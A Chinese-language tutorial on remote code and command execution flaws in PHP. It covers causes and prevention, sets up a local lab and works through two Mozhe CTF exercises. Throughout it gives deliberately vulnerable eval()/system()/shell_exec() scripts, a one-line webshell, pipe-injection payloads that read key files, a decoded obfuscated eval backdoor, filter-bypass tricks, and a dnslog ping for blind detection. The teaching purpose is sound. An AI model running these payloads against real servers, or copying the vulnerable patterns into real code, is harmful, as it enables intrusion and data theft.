一、认识RCE漏洞
💡
什么是RCE漏洞?
RCE漏洞,即远程代码执行(Remote Code Execution)和远程命令执行(Remote Command Execution)漏洞,是一种严重的安全漏洞。这种漏洞通常发生在Web应用程序中,尤其是当应用程序未对用户的输入进行充分验证或过滤时。
在很多 Web 应用中,因为业务需要(比如调试、运维需要),开发者未对用户输入的参数做严格的过滤,导致恶意用户的输入被作为命令来执行,比如PHP中的exec()、system()等,如果这些函数的参数是由用户所提供的,那么恶意用户就可能通过构造命令拼接来执行额外系统命令,就产生了 RCE 漏洞。
RCE漏洞一旦出现,就意味着攻击者可以获取服务器的命令执行权限,从而对服务器安全造成极大的影响。
RCE漏洞常见来源:
**不安全的函数和命令:**如eval(), system(), exec(), shell_exec()等,这些函数或命令在PHP、Python等脚本语言中常被用来执行动态代码或命令。
**未经验证的输入:**Web应用程序未对用户的输入进行充分的验证和过滤,导致恶意代码或命令被直接执行。
**配置错误:**服务器或应用程序的配置不当,如启用不必要的服务、未限制可执行文件的路径等,也可能导致RCE漏洞。
二、RCE漏洞危害
**数据泄露:**攻击者可以访问和窃取服务器上的敏感数据,如文件、服务器信息、用户信息、财务记录等。
**服务中断:**通过执行恶意代码,攻击者可以破坏服务器的正常运行,导致服务中断或崩溃。
**恶意软件传播:**攻击者可以在服务器上安装恶意软件,如病毒、木马等,进一步危害网络安全。
**身份冒充:**利用RCE漏洞,攻击者可以假冒合法用户执行操作,绕过安全控制。
常见预防措施:
**输入验证:**对所有用户输入进行严格的验证和过滤,确保输入符合预期的数据类型和格式。
**使用安全的函数和库:**避免使用能够执行动态代码或命令的函数和库,如果必须使用,请确保对输入进行严格的限制和过滤。
最小权限原则: 确保应用程序和服务器以最小权限运行,即使发生RCE漏洞,攻击者也无法执行高权限操作。 **更新和维护:**定期更新服务器、应用程序和所有相关组件,以修复已知的安全漏洞。
**使用安全的编程实践:**遵循安全的编程实践,如使用参数化查询来防止SQL注入,使用HTTPS来保护数据传输等。
**监控和日志记录:**实施监控和日志记录机制,以便及时发现和响应潜在的攻击行为。
通过以上措施,可以显著降低RCE漏洞的风险,保护Web应用程序和服务器的安全。
三、RCE漏洞本地实战
搭建靶场
1、靶场环境:
脚本语言:PHP5.3.29
中间件:Apache
部署文件地址(可以自定义):D:\phpstudy_pro\WWW\rceTest
部署 IP 地址:.......
部署 端口号 :80
2、部署靶场:
- **步骤一:**开启 PHPStudy ,启动Apache

- 步骤二:进入网站根目录,创建rceTest文件夹。

-
下载靶场代码:看群学习素材
-
将靶场代码放到新建的rceTest文件夹中。

- 测试访问
RCE攻击演示
rce1 靶场:代码执行。
- 访问:http://ip地址/rceTest/rce1.php?x=phpinfo();

rce1.php 靶场漏洞原理
eval() 函数在 PHP 里会把传入的字符串当作 PHP 代码来执行。在这段代码中,$code 直接取自用户通过 GET 请求传递的参数 x,这就意味着攻击者能够构造恶意的 PHP 代码作为参数值传递给服务器。一旦服务器接收到这样的请求,就会执行攻击者构造的代码,从而造成远程代码执行漏洞。
<?php
// 从 HTTP GET 请求中获取名为 'x' 的参数值,并将其赋值给变量 $code
// 当用户访问该 PHP 文件时,可通过 URL 传递参数,如 rce1.php?x=phpinfo()
// 一般我们通过get请求传参的时候,参数在后台接收都是字符串类型
// 这里的 $code 将会存储传递过来的代码字符串
$code=$_GET['x'];
// eval() 是 PHP 中的函数,它会将传入的字符串作为 PHP 代码来执行
// 这里将 $code 变量中的字符串当作 PHP 代码进行执行
eval($code);
?>
还有 assert()
$code=$_GET['c'];
assert($code);
echo '<hr>';
一句话木马后门连接
典型代码如下:
<?php
@eval($_POST['shell']);
?>
eval() 函数:将括号内的字符串作为 PHP 代码执行。
$_POST['shell']:通过 POST 请求传递的用户输入内容。
@符号:屏蔽错误信息,增加隐蔽性。
例如,当用户通过 POST 提交 shell=phpinfo();,eval() 会执行 phpinfo();,从而实现对服务器的操作。
然后可以通过webshell工具,比如蚂剑、冰箱等等,只不过这些工具是已经做了处理,所以后门代码其实就是代码执行的原理
比如在这个案例当中,payload可以写成
?x=eval($_POST['shell']);

成功getshell
rce2 靶场: 命令执行。
危害非常大,命令能做什么就能做什么
- 访问:http://ip地址:80/rceTest/rce2.php?x=ipconfig

- rce2.php 靶场漏洞原理
直接将用户通过 GET 请求传递的参数作为系统命令执行,攻击者可以利用这个漏洞在服务器上执行任意命令。
<?php
// 从 HTTP GET 请求中获取名为 'x' 的参数值,并将其赋值给变量 $code
// 当用户访问该 PHP 文件时,在 URL 后添加查询字符串,如?x=命令内容,这里的 $code 就会存储该命令内容
$code = $_GET['x'];
// system() 是 PHP 中的一个函数,用于执行外部命令并将命令执行结果输出到屏幕
// 这里将 $code 作为要执行的系统命令传递给 system() 函数
// 函数执行该命令后,会返回命令执行结果的最后一行内容,同时将整个执行结果输出到页面
// 最后使用 echo 语句将 system() 函数的返回值输出到页面
echo system($code);
?>
反弹shell:
什么是 Shell?
Shell是渗透测试中的常用术语,如Getshell、Webshell、反弹Shell等均与之相关。
-
Shell本质 :指"为使用者提供操作界面"的软件(命令解析器),负责接收用户命令并调用相应应用程序(如
command.com或cmd.exe)。 -
核心功能:用户通过Shell访问操作系统内核服务,执行系统命令。
相关术语解析
-
Getshell:获取目标的命令执行权限。
-
Webshell:通过Web服务执行的网站后门。
-
反弹Shell:将命令行输入/输出转移到其他主机。
什么是反弹Shell
反弹Shell是一种在渗透测试中常用的技术,用于绕过防火墙限制或动态IP环境,目标主机主动连接攻击机以提供命令行访问。
棱角社区:https://forum.ywhack.com/bountytips.php?download

但是Windows能够执行的命令有限,linux系统支持的命令会多一些
如果反弹不了我们也可以用文件下载命令
先在虚拟机中搭建web服务,里面放一个1.txt文件,里面的内容为一句话木马


然后通过文件下载命令,让目标网站执行,在同级就会生成一个11.php文件,里面包含一句话木马


在访问这个11.php文件,通过蚁剑连接

成功getshell
rce3 靶场:命令执行。
- 访问:http://ip地址/rceTest/rce3.php

rce3.php 靶场漏洞原理
该代码存在 RCE 漏洞的原因是直接将用户输入的命令传递给 shell_exec 函数执行,没有进行任何过滤和验证。攻击者可以通过构造恶意命令,例如 ls; rm -rf /(在实际环境中不要尝试),来执行任意系统命令,从而导致服务器被入侵。
<!-- 这里仅介绍重要部分代码,网页样式代码略过 -->
<body>
<h1>RCE 漏洞靶场</h1>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="get">
<input type="text" name="command" placeholder="输入要执行的命令">
<input type="submit" value="执行命令">
</form>
<?php
// 检查是否有 command 参数传递过来(即用户是否提交了表单)。
if (isset($_GET['command'])) {
// 存在漏洞的代码,直接将用户输入的命令传递给 shell_exec 函数
$command = $_GET['command'];
$output = shell_exec($command);
// 输出命令执行结果
echo "<pre>$output</pre>";
}
?>
</body>
还有
$cmd='ver';
system($cmd);
echo '<hr>';
echo shell_exec($cmd);
echo '<hr>';
echo exec($cmd);
echo '<hr>';
passthru($cmd);
echo '<hr>';
💡
总结:
RCE漏洞的产生原因:
1、程序员用到了像eval()、system()这样的函数,并且这些函数使用中执行的内容,是通过前端传参过来。
2、程序在写前端代码或者写接收参数的代码时,没有对用户输入信息,与接收的参数信息进行过滤和处理。
RCE漏洞的规避:
1、尽量避免类似敏感函数的使用
2、程序员应该在前端输入框做数据校验,并且在后台接收参数的时候也做数据过滤
3、如果非要使用类似的铭感函数,并且一定要能够用远程命令执行功能,那么程序员应该配置当前项目的权限,仅仅能够拥有最低权限。
4、程序员在项目中配置日志代码,对项目中的所有行为进行记录,定期进行审查。
四、在线靶场实战
实战须知:
在线靶场地址:https://www.mozhe.cn/bug
靶场练习流程:

先注册登录:
该靶场部分练习需要墨币,新手记得注册账号并领取赠送的12墨币。


注册后前往登录

输入用户名与密码登录

练习一:
1、访问: https://www.mozhe.cn/bug/detail/12

2、启动靶场环境后,支付购买题目

3、查看靶场信息
背景介绍
某单位IT运维人员为了方便,在服务器上留了一个页面,用来ping内部服务器连通情况。安全工程师"墨者"在做月度检查时发现了这一文件,检查发现这一文件存在漏洞,要求运维人员立刻下线。
实训目标
1、掌握Linux系统的基本命令;
2、了解Linux中管道符的作用;
解题方向
通过页面读取服务器上文件内容。

4、点击访问,进入漏洞页面,测试能否ping

5、测试通过后,使用BP结合管道符进行rce攻击
管道符是用于拼接两个系统命令的,管道符不同拼接规则不一样。
Windows系统支持的管道符如下:

Linux系统(项目部署90%用linux)支持的管道符如下:
ping 127.0.0.1 | ls

-
开启BP,并分别对火狐与BP设置代理。
-
BP拦截漏洞页面的ping请求,并修改信息提交


在重发器页面中修改请求信息,并重新发送。
修改信息解说: iipp=127.0.0.1 | ls&submit=Ping
-
**iipp=127.0.0.1:**这是一个URL参数,通常用于在HTTP请求中传递信息。用于指定IP地址。
-
**|:**管道(pipe)符号。
-
**ls:**用于列出目录内容。
-
**&submit=Ping:**这是一个URL参数,submit 是参数名,而 Ping 是该参数的值。

进入Render

发现存在我们需要的key文件,复制文件名,并结合 cat<文件 语法,形成新的请求信息
文件名 : key_39641956630554.php
新请求信息: iipp=127.0.0.1 | cat<key_39641956630554.php&submit=Ping
新请求解析:cat 指令用于读取一个或多个文件的内容,并将其输出到标准输出设备(通常是屏幕)。key_39641956630554.php 是想要查看内容的文件名。

回到重发器页面,修改信息并发送请求

在响应信息中寻找mozhe开头信息,并复制保存
key值: mozhe5f38ed5780ade6060454005cca4


提交key

提交成功后一般会提示 key 是否正确

练习完成

练习二:
1、访问: https://www.mozhe.cn/bug/detail/13

2、启动靶场环境后,支付购买题目。图略,同上。
3、查看靶场信息,然后点击访问,进入漏洞页面
背景介绍
小明收到一个网址,打开后是一串加密的代码。
小明需要你们的帮助,感受到时代在召唤了吗?
实训目标
1、了解命令执行的基础知识;
2、学习php代码的相关知识;
3、了解加密解密的相关知识;

4、解析加密的PHP代码
- 步骤一:复制加密代码

<?php eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?>
代码拆解分析
base64_decode
base64_decode 是一个 PHP 函数,它的作用是对经过 Base64 编码的字符串进行解码。Base64 编码是一种将二进制数据转换为可打印 ASCII 字符的编码方式,常用于在文本协议中传输二进制数据。在这段代码里,base64_decode 会尝试对传入的 Base64 字符串进行解码。
gzinflate
gzinflate 同样是 PHP 函数,它用于对经过 gzip 压缩算法压缩的数据进行解压缩。结合前面的 base64_decode,意味着这个 Base64 编码的字符串实际上是经过 gzip 压缩后再进行 Base64 编码的。
eval
eval 是 PHP 中一个非常强大且危险的函数,它会将传入的字符串作为 PHP 代码进行执行。在这段代码里,eval 会执行经过 gzinflate 解压缩后得到的 PHP 代码。
以下是将这段代码拆分开来,方便理解其执行过程:
<?php
// 定义一个经过 Base64 编码且可能经过 gzip 压缩的字符串
$encoded = '40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==';
// 使用 base64_decode 函数对 $encoded 进行 Base64 解码操作
// Base64 编码是一种将二进制数据转换为可打印 ASCII 字符的编码方式
// 解码后得到可能是经过 gzip 压缩的二进制数据
$decoded = base64_decode($encoded);
// 使用 gzinflate 函数对 $decoded 进行解压缩操作
// gzinflate 用于解压经过 gzip 压缩算法压缩的数据
// 解压缩后得到一个包含 PHP 代码的字符串
$uncompressed = gzinflate($decoded);
// 使用 eval 函数执行解压缩后得到的字符串
// eval 函数会把传入的字符串当作 PHP 代码来执行
// 由于该字符串来源不明,可能存在安全风险,如代码注入攻击
eval($uncompressed);
?>
- 步骤二:对eval中的代码进行解码:
思路:尝试打印在eval() 中的代码,看看是什么内容。
<?php
// eval函数改为 print,并为最内层参数加引号
print(gzinflate(base64_decode("&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&")));
?>
打开PHP编辑器运行代码

查看运行结果,发现eval() 中加密的代码是 echo $_REQUEST[a];; ?> 这串代码就是eval要执行的东西。
*REQUEST 是一个包含了 GET、POST 和 COOKIE 数据的数组。这意味着可以使用 *REQUEST 数组来访问请求数据。
$_REQUEST[a] 代表获取请求中a的值,但是由于a的值是什么我们并不清楚,因此需要测试一下。
推测这个反引号内代码可以获取用户输入的脚本代码,如:"echo 123";

推测这个反引号内代码可以获取系统执行命令,如:"ls"。

由此我们可以得出结论:
$_REQUEST[a] 代表获取请求中a的值,这a的值是用户传输的指令可以是代码执行 "也可以是系统执行命令
echo $_REQUEST[a] 中的echo的作用是输出反引号内用户输入的命令执行后的结果。
根据对代码的分析,补全整段源码后 "相当于" 如下代码:
<?php
eval('echo `$_REQUEST[a]`;');
?>
/*
这里eval作用是执行后面的脚本代码,echo的作用是输出显示反引号内用户输入的命令执行后的结果。
所以,我们在url输入执行命令,如:http://124.70.64.48:44660/f.php?a=ls,这里ls会先被放入反引号内执行,结果由echo输出,eval就是将这执行出来。
*/
- 步骤三:获取墨者key
先复制刚刚 ls 中,平台给我们返回的数据
f.php index.html key_297061795225836.php static
修改请求URL为
http://124.70.64.48:44660/f.php?a=cat<key_297061795225836.php
访问url

去源码中查看墨者KEY

复制墨者KEY提交即可

完成

扩展
RCE绕过 linux服务器玩法会多一点
通配符:
flag=fl*
cat fl*
cat ?la* ?代表占位
转义符
ca\t fl\ag
cat fl''ag
空变量值
ca$*t fl$*ag
ca$@t fl$@ag
拼接法
a=fl;b=ag;cat $a$b
过滤执行命令(cat tac被过滤)
curl file:///home/flag
strings flag
uniq -c flag
bash -v flag
rev flag
无回显利用(面试题)
你怎么知道rce执行了但是没有显示
1、直接写个文件访问查看
2、直接进行对外访问接受
<?php
error_reporting(0);
highlight_file(__FILE__);
$code=$_GET['code'];
shell_exec($code);
检测方法1:
写个文件:code=echo 123>x.txt
检测方法2:
http://www.dnslog.cn/
?code=ping surn6j.dnslog.cn
漏洞挖掘:
白盒:看代码进行代码审计
1.PHP: PHP代码执行函数: eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等 PHP命令执行函数: system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等 2.Python: eval exec subprocess os.system commands 3.Java: Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数, 但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.
黑盒:比较难,哪些网站会把代码执行或者命令执行
在线代码执行